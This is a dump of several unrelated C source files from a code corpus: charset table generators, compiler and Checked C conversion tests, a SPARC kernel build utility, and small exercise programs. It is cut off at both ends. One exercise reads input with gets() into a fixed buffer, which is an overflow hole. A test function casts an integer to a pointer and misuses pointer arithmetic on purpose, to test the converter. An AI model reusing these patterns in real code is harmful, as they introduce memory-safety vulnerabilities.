& 0xffff) | 0x0000; break; case 1: /* plane 2 */ x = (x & 0xffff) | 0x0080; break; case 2: /* plane 3 */ x = (x & 0xffff) | 0x8000; break; default: abort(); } enc.uni2charset[j] = x; } } output_uni2charset_sparse(name,&enc); } /* GBK specifics */ static int row_byte_gbk1 (int row) { return 0x81+row; } static int col_byte_gbk1 (int col) { return (col >= 0x3f ? 0x41 : 0x40) + col; } static int byte_row_gbk1 (int byte) { if (byte >= 0x81 && byte < 0xff) return byte-0x81; else return -1; } static int byte_col_gbk1 (int byte) { if (byte >= 0x40 && byte < 0x7f) return byte-0x40; else if (byte >= 0x80 && byte < 0xff) return byte-0x41; else return -1; } static void do_gbk1 (const char* name) { Encoding enc; enc.rows = 126; enc.cols = 190; enc.row_byte = row_byte_gbk1; enc.col_byte = col_byte_gbk1; enc.byte_row = byte_row_gbk1; enc.byte_col = byte_col_gbk1; enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0x81"; enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_dense(name,&enc); } static void do_gbk1_only_charset2uni (const char* name) { Encoding enc; enc.rows = 126; enc.cols = 190; enc.row_byte = row_byte_gbk1; enc.col_byte = col_byte_gbk1; enc.byte_row = byte_row_gbk1; enc.byte_col = byte_col_gbk1; enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0x81"; enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); } static int row_byte_gbk2 (int row) { return 0x81+row; } static int col_byte_gbk2 (int col) { return (col >= 0x3f ? 0x41 : 0x40) + col; } static int byte_row_gbk2 (int byte) { if (byte >= 0x81 && byte < 0xff) return byte-0x81; else return -1; } static int byte_col_gbk2 (int byte) { if (byte >= 0x40 && byte < 0x7f) return byte-0x40; else if (byte >= 0x80 && byte < 0xa1) return byte-0x41; else return -1; } static void do_gbk2_only_charset2uni (const char* name) { Encoding enc; enc.rows = 126; enc.cols = 96; enc.row_byte = row_byte_gbk2; enc.col_byte = col_byte_gbk2; enc.byte_row = byte_row_gbk2; enc.byte_col = byte_col_gbk2; enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xa1)"; enc.byte_row_expr = "%1$s - 0x81"; enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); } static void do_gbk1_only_uni2charset (const char* name) { Encoding enc; enc.rows = 126; enc.cols = 190; enc.row_byte = row_byte_gbk1; enc.col_byte = col_byte_gbk1; enc.byte_row = byte_row_gbk1; enc.byte_col = byte_col_gbk1; enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0x81"; enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)"; read_table(&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* KSC 5601 specifics */ /* * Reads the charset2uni table from standard input. */ static void read_table_ksc5601 (Encoding* enc) { int row, col, i, i1, i2, c, j; enc->charset2uni = (int**) malloc(enc->rows*sizeof(int*)); for (row = 0; row < enc->rows; row++) enc->charset2uni[row] = (int*) malloc(enc->cols*sizeof(int)); for (row = 0; row < enc->rows; row++) for (col = 0; col < enc->cols; col++) enc->charset2uni[row][col] = 0xfffd; c = getc(stdin); ungetc(c,stdin); if (c == '#') { /* Read a unicode.org style .TXT file. */ for (;;) { c = getc(stdin); if (c == EOF) break; if (c == '\n' || c == ' ' || c == '\t') continue; if (c == '#') { do { c = getc(stdin); } while (!(c == EOF || c == '\n')); continue; } ungetc(c,stdin); if (scanf("0x%x", &j) != 1) exit(1); i1 = j >> 8; i2 = j & 0xff; if (scanf(" 0x%x", &j) != 1) exit(1); /* Take only the range covered by KS C 5601.1987-0 = KS C 5601.1989-0 = KS X 1001.1992, ignore the rest. */ if (!(i1 >= 128+33 && i1 < 128+127 && i2 >= 128+33 && i2 < 128+127)) continue; /* KSC5601 specific */ i1 &= 0x7f; /* KSC5601 specific */ i2 &= 0x7f; /* KSC5601 specific */ row = enc->byte_row(i1); col = enc->byte_col(i2); if (row < 0 || col < 0) { fprintf(stderr, "lost entry for %02x %02x\n", i1, i2); exit(1); } enc->charset2uni[row][col] = j; } } else { /* Read a table of hexadecimal Unicode values. */ for (i1 = 33; i1 < 127; i1++) for (i2 = 33; i2 < 127; i2++) { i = scanf("%x", &j); if (i == EOF) goto read_done; if (i != 1) exit(1); if (j < 0 || j == 0xffff) j = 0xfffd; if (j != 0xfffd) { if (enc->byte_row(i1) < 0 || enc->byte_col(i2) < 0) { fprintf(stderr, "lost entry at %02x %02x\n", i1, i2); exit (1); } enc->charset2uni[enc->byte_row(i1)][enc->byte_col(i2)] = j; } } read_done: ; } } static void do_ksc5601 (const char* name) { Encoding enc; enc.rows = 94; enc.cols = 94; enc.row_byte = row_byte_normal; enc.col_byte = col_byte_normal; enc.byte_row = byte_row_normal; enc.byte_col = byte_col_normal; enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.byte_row_expr = "%1$s - 0x21"; enc.byte_col_expr = "%1$s - 0x21"; read_table_ksc5601(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* Big5 specifics */ static int row_byte_big5 (int row) { return 0xa1+row; } static int col_byte_big5 (int col) { return (col >= 0x3f ? 0x62 : 0x40) + col; } static int byte_row_big5 (int byte) { if (byte >= 0xa1 && byte < 0xff) return byte-0xa1; else return -1; } static int byte_col_big5 (int byte) { if (byte >= 0x40 && byte < 0x7f) return byte-0x40; else if (byte >= 0xa1 && byte < 0xff) return byte-0x62; else return -1; } static void do_big5 (const char* name) { Encoding enc; enc.rows = 94; enc.cols = 157; enc.row_byte = row_byte_big5; enc.col_byte = col_byte_big5; enc.byte_row = byte_row_big5; enc.byte_col = byte_col_big5; enc.check_row_expr = "%1$s >= 0xa1 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0xa1 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0xa1"; enc.byte_col_expr = "%1$s - (%1$s >= 0xa1 ? 0x62 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* Big5-HKSCS specifics */ static int row_byte_big5hkscs (int row) { return 0x81+row; } static int col_byte_big5hkscs (int col) { return (col >= 0x3f ? 0x62 : 0x40) + col; } static int byte_row_big5hkscs (int byte) { if (byte >= 0x81 && byte < 0xff) return byte-0x81; else return -1; } static int byte_col_big5hkscs (int byte) { if (byte >= 0x40 && byte < 0x7f) return byte-0x40; else if (byte >= 0xa1 && byte < 0xff) return byte-0x62; else return -1; } static void do_big5hkscs (const char* name) { Encoding enc; enc.rows = 126; enc.cols = 157; enc.row_byte = row_byte_big5hkscs; enc.col_byte = col_byte_big5hkscs; enc.byte_row = byte_row_big5hkscs; enc.byte_col = byte_col_big5hkscs; enc.check_row_expr = "%1$s >= 0x81 && %1$s < 0xff"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0xa1 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0x81"; enc.byte_col_expr = "%1$s - (%1$s >= 0xa1 ? 0x62 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* Johab Hangul specifics */ static int row_byte_johab_hangul (int row) { return 0x84+row; } static int col_byte_johab_hangul (int col) { return (col >= 0x3e ? 0x43 : 0x41) + col; } static int byte_row_johab_hangul (int byte) { if (byte >= 0x84 && byte < 0xd4) return byte-0x84; else return -1; } static int byte_col_johab_hangul (int byte) { if (byte >= 0x41 && byte < 0x7f) return byte-0x41; else if (byte >= 0x81 && byte < 0xff) return byte-0x43; else return -1; } static void do_johab_hangul (const char* name) { Encoding enc; enc.rows = 80; enc.cols = 188; enc.row_byte = row_byte_johab_hangul; enc.col_byte = col_byte_johab_hangul; enc.byte_row = byte_row_johab_hangul; enc.byte_col = byte_col_johab_hangul; enc.check_row_expr = "%1$s >= 0x84 && %1$s < 0xd4"; enc.check_col_expr = "(%1$s >= 0x41 && %1$s < 0x7f) || (%1$s >= 0x81 && %1$s < 0xff)"; enc.byte_row_expr = "%1$s - 0x84"; enc.byte_col_expr = "%1$s - (%1$s >= 0x81 ? 0x43 : 0x41)"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_dense(name,&enc); } /* SJIS specifics */ static int row_byte_sjis (int row) { return (row >= 0x1f ? 0xc1 : 0x81) + row; } static int col_byte_sjis (int col) { return (col >= 0x3f ? 0x41 : 0x40) + col; } static int byte_row_sjis (int byte) { if (byte >= 0x81 && byte < 0xa0) return byte-0x81; else if (byte >= 0xe0) return byte-0xc1; else return -1; } static int byte_col_sjis (int byte) { if (byte >= 0x40 && byte < 0x7f) return byte-0x40; else if (byte >= 0x80 && byte < 0xfd) return byte-0x41; else return -1; } static void do_sjis (const char* name) { Encoding enc; enc.rows = 94; enc.cols = 188; enc.row_byte = row_byte_sjis; enc.col_byte = col_byte_sjis; enc.byte_row = byte_row_sjis; enc.byte_col = byte_col_sjis; enc.check_row_expr = "(%1$s >= 0x81 && %1$s < 0xa0) || (%1$s >= 0xe0)"; enc.check_col_expr = "(%1$s >= 0x40 && %1$s < 0x7f) || (%1$s >= 0x80 && %1$s < 0xfd)"; enc.byte_row_expr = "%1$s - (%1$s >= 0xe0 ? 0xc1 : 0x81)"; enc.byte_col_expr = "%1$s - (%1$s >= 0x80 ? 0x41 : 0x40)"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* Main program */ int main (int argc, char *argv[]) { const char* charsetname; const char* name; if (argc != 3) exit(1); charsetname = argv[1]; name = argv[2]; output_title(charsetname); if (!strcmp(name,"gb2312") || !strcmp(name,"gb12345ext") || !strcmp(name,"jisx0208") || !strcmp(name,"jisx0212")) do_normal(name); else if (!strcmp(name,"cns11643_1") || !strcmp(name,"cns11643_2") || !strcmp(name,"cns11643_3")) do_normal_only_charset2uni(name); else if (!strcmp(name,"cns11643_inv")) do_cns11643_only_uni2charset(name); else if (!strcmp(name,"gbkext1")) do_gbk1_only_charset2uni(name); else if (!strcmp(name,"gbkext2")) do_gbk2_only_charset2uni(name); else if (!strcmp(name,"gbkext_inv")) do_gbk1_only_uni2charset(name); else if (!strcmp(name,"cp936ext")) do_gbk1(name); else if (!strcmp(name,"ksc5601")) do_ksc5601(name); else if (!strcmp(name,"big5") || !strcmp(name,"cp950ext")) do_big5(name); else if (!strcmp(name,"big5hkscs")) do_big5hkscs(name); else if (!strcmp(name,"johab_hangul")) do_johab_hangul(name); else if (!strcmp(name,"cp932ext")) do_sjis(name); else exit(1); return 0; }
the_stack_data/200144472.c
// Check the data structures emitted by coverage mapping // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name ir.c %s -o - -emit-llvm -fprofile-instrument=clang -fcoverage-mapping | FileCheck %s void foo(void) { } int main(void) { foo(); return 0; } // CHECK: @__llvm_coverage_mapping = internal constant { { i32, i32, i32, i32 }, [2 x <{ i64, i32, i64 }>], [{{[0-9]+}} x i8] } { { i32, i32, i32, i32 } { i32 2, i32 {{[0-9]+}}, i32 {{[0-9]+}}, i32 {{[0-9]+}} }, [2 x <{ i64, i32, i64 }>] [<{{.*}}> <{{.*}}>, <{{.*}}> <{{.*}}>]
the_stack_data/575201.c
// RUN: rm -rf %t* // RUN: 3c -base-dir=%S -alltypes -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_ALL","CHECK" %s // RUN: 3c -base-dir=%S -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_NOALL","CHECK" %s // RUN: 3c -base-dir=%S -addcr %s -- | %clang -c -fcheckedc-extension -x c -o /dev/null - // RUN: 3c -base-dir=%S -alltypes -output-dir=%t.checked %s -- // RUN: 3c -base-dir=%t.checked -alltypes %t.checked/arrstructprotocallee.c -- | diff %t.checked/arrstructprotocallee.c - /******************************************************************************/ /*This file tests three functions: two callers bar and foo, and a callee sus*/ /*In particular, this file tests: arrays and structs, specifically by using an array to traverse through the values of a struct*/ /*For robustness, this test is identical to arrstructcallee.c except in that a prototype for sus is available, and is called by foo and bar, while the definition for sus appears below them*/ /*In this test, foo and bar will treat their return values safely, but sus will not, through invalid pointer arithmetic, an unsafe cast, etc*/ /******************************************************************************/ #include <stddef.h> #include <stdlib.h> #include <stdio.h> #include <string.h> struct general { int data; struct general *next; //CHECK: _Ptr<struct general> next; }; struct warr { int data1[5]; //CHECK_NOALL: int data1[5]; //CHECK_ALL: int data1 _Checked[5]; char *name; //CHECK: _Ptr<char> name; }; struct fptrarr { int *values; //CHECK: _Ptr<int> values; char *name; //CHECK: _Ptr<char> name; int (*mapper)(int); //CHECK: _Ptr<int (int)> mapper; }; struct fptr { int *value; //CHECK: _Ptr<int> value; int (*func)(int); //CHECK: _Ptr<int (int)> func; }; struct arrfptr { int args[5]; //CHECK_NOALL: int args[5]; //CHECK_ALL: int args _Checked[5]; int (*funcs[5])(int); //CHECK_NOALL: int (*funcs[5])(int); //CHECK_ALL: _Ptr<int (int)> funcs _Checked[5]; }; int add1(int x) { //CHECK: int add1(int x) _Checked { return x + 1; } int sub1(int x) { //CHECK: int sub1(int x) _Checked { return x - 1; } int fact(int n) { //CHECK: int fact(int n) _Checked { if (n == 0) { return 1; } return n * fact(n - 1); } int fib(int n) { //CHECK: int fib(int n) _Checked { if (n == 0) { return 0; } if (n == 1) { return 1; } return fib(n - 1) + fib(n - 2); } int zerohuh(int n) { //CHECK: int zerohuh(int n) _Checked { return !n; } int *mul2(int *x) { //CHECK: _Ptr<int> mul2(_Ptr<int> x) _Checked { *x *= 2; return x; } int *sus(struct general *, struct general *); //CHECK_NOALL: int *sus(struct general *x : itype(_Ptr<struct general>), _Ptr<struct general> y) : itype(_Ptr<int>); //CHECK_ALL: _Array_ptr<int> sus(struct general *x : itype(_Ptr<struct general>), _Ptr<struct general> y); int *foo() { //CHECK_NOALL: _Ptr<int> foo(void) { //CHECK_ALL: _Array_ptr<int> foo(void) { struct general *x = malloc(sizeof(struct general)); //CHECK: _Ptr<struct general> x = malloc<struct general>(sizeof(struct general)); struct general *y = malloc(sizeof(struct general)); //CHECK: _Ptr<struct general> y = malloc<struct general>(sizeof(struct general)); struct general *curr = y; //CHECK: _Ptr<struct general> curr = y; int i; for (i = 1; i < 5; i++, curr = curr->next) { curr->data = i; curr->next = malloc(sizeof(struct general)); curr->next->data = i + 1; } int *z = sus(x, y); //CHECK_NOALL: _Ptr<int> z = sus(x, y); //CHECK_ALL: _Array_ptr<int> z = sus(x, y); return z; } int *bar() { //CHECK_NOALL: _Ptr<int> bar(void) { //CHECK_ALL: _Array_ptr<int> bar(void) { struct general *x = malloc(sizeof(struct general)); //CHECK: _Ptr<struct general> x = malloc<struct general>(sizeof(struct general)); struct general *y = malloc(sizeof(struct general)); //CHECK: _Ptr<struct general> y = malloc<struct general>(sizeof(struct general)); struct general *curr = y; //CHECK: _Ptr<struct general> curr = y; int i; for (i = 1; i < 5; i++, curr = curr->next) { curr->data = i; curr->next = malloc(sizeof(struct general)); curr->next->data = i + 1; } int *z = sus(x, y); //CHECK_NOALL: _Ptr<int> z = sus(x, y); //CHECK_ALL: _Array_ptr<int> z = sus(x, y); return z; } int *sus(struct general *x, struct general *y) { //CHECK_NOALL: int *sus(struct general *x : itype(_Ptr<struct general>), _Ptr<struct general> y) : itype(_Ptr<int>) { //CHECK_ALL: _Array_ptr<int> sus(struct general *x : itype(_Ptr<struct general>), _Ptr<struct general> y) { x = (struct general *)5; //CHECK: x = (struct general *)5; int *z = calloc(5, sizeof(int)); //CHECK_NOALL: int *z = calloc<int>(5, sizeof(int)); //CHECK_ALL: _Array_ptr<int> z = calloc<int>(5, sizeof(int)); struct general *p = y; //CHECK: _Ptr<struct general> p = y; int i; for (i = 0; i < 5; p = p->next, i++) { //CHECK_NOALL: for (i = 0; i < 5; p = p->next, i++) { //CHECK_ALL: for (i = 0; i < 5; p = p->next, i++) _Checked { z[i] = p->data; } z += 2; return z; }
the_stack_data/132953014.c
#include <stdio.h> #include <string.h> void find_frequency(char [], int []); int main() { char string[100]; int c, count[26] = {0}; printf("Input a string\n"); gets(string); find_frequency(string, count); printf("Character Count\n"); for (c = 0 ; c < 26 ; c++) printf("%c \t %d\n", c + 'a', count[c]); return 0; } void find_frequency(char s[], int count[]) { int c = 0; while (s[c] != '\0') { if (s[c] >= 'a' && s[c] <= 'z' ) count[s[c]-'a']++; c++; } }
the_stack_data/64200177.c
// RUN: test.sh -c -p -t %t %s // This is an example of the correct usage of strrchr(). #include <assert.h> #include <stdlib.h> #include <string.h> int main() { char *str = malloc(100); strcpy(str, "arma virumque cano"); char *pos = strrchr(&str[3], 'a'); assert(pos == &str[15]); free(str); return 0; }
the_stack_data/95956.c
/* $Id: btfixupprep.c,v 1.6 2001/08/22 15:27:47 davem Exp $ Simple utility to prepare vmlinux image for sparc. Resolves all BTFIXUP uses and settings and creates a special .s object to link to the image. Copyright (C) 1998 Jakub Jelinek ([email protected]) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #include <stdio.h> #include <string.h> #include <ctype.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <malloc.h> #define MAXSYMS 1024 static char *symtab = "SYMBOL TABLE:"; static char *relrec = "RELOCATION RECORDS FOR ["; static int rellen; static int symlen; int mode; struct _btfixup; typedef struct _btfixuprel { char *sect; unsigned long offset; struct _btfixup *f; int frel; struct _btfixuprel *next; } btfixuprel; typedef struct _btfixup { int type; int setinitval; unsigned int initval; char *initvalstr; char *name; btfixuprel *rel; } btfixup; btfixup array[MAXSYMS]; int last = 0; char buffer[1024]; unsigned long lastfoffset = -1; unsigned long lastfrelno; btfixup *lastf; void fatal(void) __attribute__((noreturn)); void fatal(void) { fprintf(stderr, "Malformed output from objdump\n%s\n", buffer); exit(1); } btfixup *find(int type, char *name) { int i; for (i = 0; i < last; i++) { if (array[i].type == type && !strcmp(array[i].name, name)) return array + i; } array[last].type = type; array[last].name = strdup(name); array[last].setinitval = 0; if (!array[last].name) fatal(); array[last].rel = NULL; last++; if (last >= MAXSYMS) { fprintf(stderr, "Ugh. Something strange. More than %d different BTFIXUP symbols\n", MAXSYMS); exit(1); } return array + last - 1; } void set_mode (char *buffer) { for (mode = 0;; mode++) if (buffer[mode] < '0' || buffer[mode] > '9') break; if (mode != 8 && mode != 16) fatal(); } int main(int argc,char **argv) { char *p, *q; char *sect; int i, j, k; unsigned int initval; int shift; btfixup *f; btfixuprel *r, **rr; unsigned long offset; char *initvalstr; symlen = strlen(symtab); while (fgets (buffer, 1024, stdin) != NULL) if (!strncmp (buffer, symtab, symlen)) goto main0; fatal(); main0: rellen = strlen(relrec); while (fgets (buffer, 1024, stdin) != NULL) if (!strncmp (buffer, relrec, rellen)) goto main1; fatal(); main1: sect = malloc(strlen (buffer + rellen) + 1); if (!sect) fatal(); strcpy (sect, buffer + rellen); p = strchr (sect, ']'); if (!p) fatal(); *p = 0; if (fgets (buffer, 1024, stdin) == NULL) fatal(); while (fgets (buffer, 1024, stdin) != NULL) { int nbase; if (!strncmp (buffer, relrec, rellen)) goto main1; if (mode == 0) set_mode (buffer); p = strchr (buffer, '\n'); if (p) *p = 0; if (strlen (buffer) < 22+mode) continue; if (strncmp (buffer + mode, " R_SPARC_", 9)) continue; nbase = 27 - 8 + mode; if (buffer[nbase] != '_' || buffer[nbase+1] != '_' || buffer[nbase+2] != '_') continue; switch (buffer[nbase+3]) { case 'f': /* CALL */ case 'b': /* BLACKBOX */ case 's': /* SIMM13 */ case 'a': /* HALF */ case 'h': /* SETHI */ case 'i': /* INT */ break; default: continue; } p = strchr (buffer + nbase+5, '+'); if (p) *p = 0; shift = nbase + 5; if (buffer[nbase+4] == 's' && buffer[nbase+5] == '_') { shift = nbase + 6; if (strcmp (sect, ".init.text")) { fprintf(stderr, "Wrong use of '%s' BTFIXUPSET in '%s' section.\n" "BTFIXUPSET_CALL can be used only in" " __init sections\n", buffer + shift, sect); exit(1); } } else if (buffer[nbase+4] != '_') continue; if (!strcmp (sect, ".text.exit")) continue; if (strcmp (sect, ".text") && strcmp (sect, ".init.text") && strcmp (sect, ".fixup") && (strcmp (sect, "__ksymtab") || buffer[nbase+3] != 'f')) { if (buffer[nbase+3] == 'f') fprintf(stderr, "Wrong use of '%s' in '%s' section.\n" " It can be used only in .text, .init.text," " .fixup and __ksymtab\n", buffer + shift, sect); else fprintf(stderr, "Wrong use of '%s' in '%s' section.\n" " It can be only used in .text, .init.text," " and .fixup\n", buffer + shift, sect); exit(1); } p = strstr (buffer + shift, "__btset_"); if (p && buffer[nbase+4] == 's') { fprintf(stderr, "__btset_ in BTFIXUP name can only be used when defining the variable, not for setting\n%s\n", buffer); exit(1); } initval = 0; initvalstr = NULL; if (p) { if (p[8] != '0' || p[9] != 'x') { fprintf(stderr, "Pre-initialized values can be only initialized with hexadecimal constants starting 0x\n%s\n", buffer); exit(1); } initval = strtoul(p + 10, &q, 16); if (*q || !initval) { fprintf(stderr, "Pre-initialized values can be only in the form name__btset_0xXXXXXXXX where X are hex digits.\nThey cannot be name__btset_0x00000000 though. Use BTFIXUPDEF_XX instead of BTFIXUPDEF_XX_INIT then.\n%s\n", buffer); exit(1); } initvalstr = p + 10; *p = 0; } f = find(buffer[nbase+3], buffer + shift); if (buffer[nbase+4] == 's') continue; switch (buffer[nbase+3]) { case 'f': if (initval) { fprintf(stderr, "Cannot use pre-initalized fixups for calls\n%s\n", buffer); exit(1); } if (!strcmp (sect, "__ksymtab")) { if (strncmp (buffer + mode+9, "32 ", 10)) { fprintf(stderr, "BTFIXUP_CALL in EXPORT_SYMBOL results in relocation other than R_SPARC_32\n\%s\n", buffer); exit(1); } } else if (strncmp (buffer + mode+9, "WDISP30 ", 10) && strncmp (buffer + mode+9, "HI22 ", 10) && strncmp (buffer + mode+9, "LO10 ", 10)) { fprintf(stderr, "BTFIXUP_CALL results in relocation other than R_SPARC_WDISP30, R_SPARC_HI22 or R_SPARC_LO10\n%s\n", buffer); exit(1); } break; case 'b': if (initval) { fprintf(stderr, "Cannot use pre-initialized fixups for blackboxes\n%s\n", buffer); exit(1); } if (strncmp (buffer + mode+9, "HI22 ", 10)) { fprintf(stderr, "BTFIXUP_BLACKBOX results in relocation other than R_SPARC_HI22\n%s\n", buffer); exit(1); } break; case 's': if (initval + 0x1000 >= 0x2000) { fprintf(stderr, "Wrong initializer for SIMM13. Has to be from $fffff000 to $00000fff\n%s\n", buffer); exit(1); } if (strncmp (buffer + mode+9, "13 ", 10)) { fprintf(stderr, "BTFIXUP_SIMM13 results in relocation other than R_SPARC_13\n%s\n", buffer); exit(1); } break; case 'a': if (initval + 0x1000 >= 0x2000 && (initval & 0x3ff)) { fprintf(stderr, "Wrong initializer for HALF.\n%s\n", buffer); exit(1); } if (strncmp (buffer + mode+9, "13 ", 10)) { fprintf(stderr, "BTFIXUP_HALF results in relocation other than R_SPARC_13\n%s\n", buffer); exit(1); } break; case 'h': if (initval & 0x3ff) { fprintf(stderr, "Wrong initializer for SETHI. Cannot have set low 10 bits\n%s\n", buffer); exit(1); } if (strncmp (buffer + mode+9, "HI22 ", 10)) { fprintf(stderr, "BTFIXUP_SETHI results in relocation other than R_SPARC_HI22\n%s\n", buffer); exit(1); } break; case 'i': if (initval) { fprintf(stderr, "Cannot use pre-initalized fixups for INT\n%s\n", buffer); exit(1); } if (strncmp (buffer + mode+9, "HI22 ", 10) && strncmp (buffer + mode+9, "LO10 ", 10)) { fprintf(stderr, "BTFIXUP_INT results in relocation other than R_SPARC_HI22 and R_SPARC_LO10\n%s\n", buffer); exit(1); } break; } if (!f->setinitval) { f->initval = initval; if (initvalstr) { f->initvalstr = strdup(initvalstr); if (!f->initvalstr) fatal(); } f->setinitval = 1; } else if (f->initval != initval) { fprintf(stderr, "Btfixup %s previously used with initializer %s which doesn't match with current initializer\n%s\n", f->name, f->initvalstr ? : "0x00000000", buffer); exit(1); } else if (initval && strcmp(f->initvalstr, initvalstr)) { fprintf(stderr, "Btfixup %s previously used with initializer %s which doesn't match with current initializer.\n" "Initializers have to match literally as well.\n%s\n", f->name, f->initvalstr, buffer); exit(1); } offset = strtoul(buffer, &q, 16); if (q != buffer + mode || (!offset && (mode == 8 ? strncmp (buffer, "00000000 ", 9) : strncmp (buffer, "0000000000000000 ", 17)))) { fprintf(stderr, "Malformed relocation address in\n%s\n", buffer); exit(1); } for (k = 0, r = f->rel, rr = &f->rel; r; rr = &r->next, r = r->next, k++) if (r->offset == offset && !strcmp(r->sect, sect)) { fprintf(stderr, "Ugh. One address has two relocation records\n"); exit(1); } *rr = malloc(sizeof(btfixuprel)); if (!*rr) fatal(); (*rr)->offset = offset; (*rr)->f = NULL; if (buffer[nbase+3] == 'f') { lastf = f; lastfoffset = offset; lastfrelno = k; } else if (lastfoffset + 4 == offset) { (*rr)->f = lastf; (*rr)->frel = lastfrelno; } (*rr)->sect = sect; (*rr)->next = NULL; } printf("! Generated by btfixupprep. Do not edit.\n\n"); printf("\t.section\t\".data.init\",#alloc,#write\n\t.align\t4\n\n"); printf("\t.global\t___btfixup_start\n___btfixup_start:\n\n"); for (i = 0; i < last; i++) { f = array + i; printf("\t.global\t___%cs_%s\n", f->type, f->name); if (f->type == 'f') printf("___%cs_%s:\n\t.word 0x%08x,0,0,", f->type, f->name, f->type << 24); else printf("___%cs_%s:\n\t.word 0x%08x,0,", f->type, f->name, f->type << 24); for (j = 0, r = f->rel; r != NULL; j++, r = r->next); if (j) printf("%d\n\t.word\t", j * 2); else printf("0\n"); for (r = f->rel, j--; r != NULL; j--, r = r->next) { if (!strcmp (r->sect, ".text")) printf ("_stext+0x%08lx", r->offset); else if (!strcmp (r->sect, ".init.text")) printf ("__init_begin+0x%08lx", r->offset); else if (!strcmp (r->sect, "__ksymtab")) printf ("__start___ksymtab+0x%08lx", r->offset); else if (!strcmp (r->sect, ".fixup")) printf ("__start___fixup+0x%08lx", r->offset); else fatal(); if (f->type == 'f' || !r->f) printf (",0"); else printf (",___fs_%s+0x%08x", r->f->name, (4 + r->frel*2)*4 + 4); if (j) printf (","); else printf ("\n"); } printf("\n"); } printf("\n\t.global\t___btfixup_end\n___btfixup_end:\n"); printf("\n\n! Define undefined references\n\n"); for (i = 0; i < last; i++) { f = array + i; if (f->type == 'f') { printf("\t.global\t___f_%s\n", f->name); printf("___f_%s:\n", f->name); } } printf("\tretl\n\t nop\n\n"); for (i = 0; i < last; i++) { f = array + i; if (f->type != 'f') { if (!f->initval) { printf("\t.global\t___%c_%s\n", f->type, f->name); printf("___%c_%s = 0\n", f->type, f->name); } else { printf("\t.global\t___%c_%s__btset_0x%s\n", f->type, f->name, f->initvalstr); printf("___%c_%s__btset_0x%s = 0x%08x\n", f->type, f->name, f->initvalstr, f->initval); } } } printf("\n\n"); exit(0); }
the_stack_data/59512375.c
/* Libertadores https://www.urionlinejudge.com.br/judge/pt/problems/view/1536 */ #include <stdio.h> void aplicarRegrasDoMataMata(int golsDoPrimeiroTimeNaIda, int golsDoSegundoTimeNaIda, int golsDoPrimeiroTimeNaVolta, int golsDoSegundoTimeNaVolta); int main (void) { int casos, golsDoPrimeiroTimeNaIda, golsDoSegundoTimeNaIda, golsDoPrimeiroTimeNaVolta, golsDoSegundoTimeNaVolta; scanf("%d\n", &casos); while(casos-- > 0) { scanf("%d x %d\n", &golsDoPrimeiroTimeNaIda, &golsDoSegundoTimeNaIda); scanf("%d x %d\n", &golsDoSegundoTimeNaVolta, &golsDoPrimeiroTimeNaVolta); aplicarRegrasDoMataMata(golsDoPrimeiroTimeNaIda, golsDoSegundoTimeNaIda, golsDoPrimeiroTimeNaVolta, golsDoSegundoTimeNaVolta); } return 0; } void aplicarRegrasDoMataMata(int golsDoPrimeiroTimeNaIda, int golsDoSegundoTimeNaIda, int golsDoPrimeiroTimeNaVolta, int golsDoSegundoTimeNaVolta) { if (golsDoPrimeiroTimeNaIda > golsDoSegundoTimeNaIda && golsDoPrimeiroTimeNaVolta > golsDoSegundoTimeNaVolta) { printf("Time 1\n"); } else if (golsDoPrimeiroTimeNaIda < golsDoSegundoTimeNaIda && golsDoPrimeiroTimeNaVolta < golsDoSegundoTimeNaVolta) { printf("Time 2\n"); } else if (golsDoPrimeiroTimeNaIda == golsDoSegundoTimeNaIda && golsDoPrimeiroTimeNaVolta != golsDoSegundoTimeNaVolta) { if (golsDoPrimeiroTimeNaVolta > 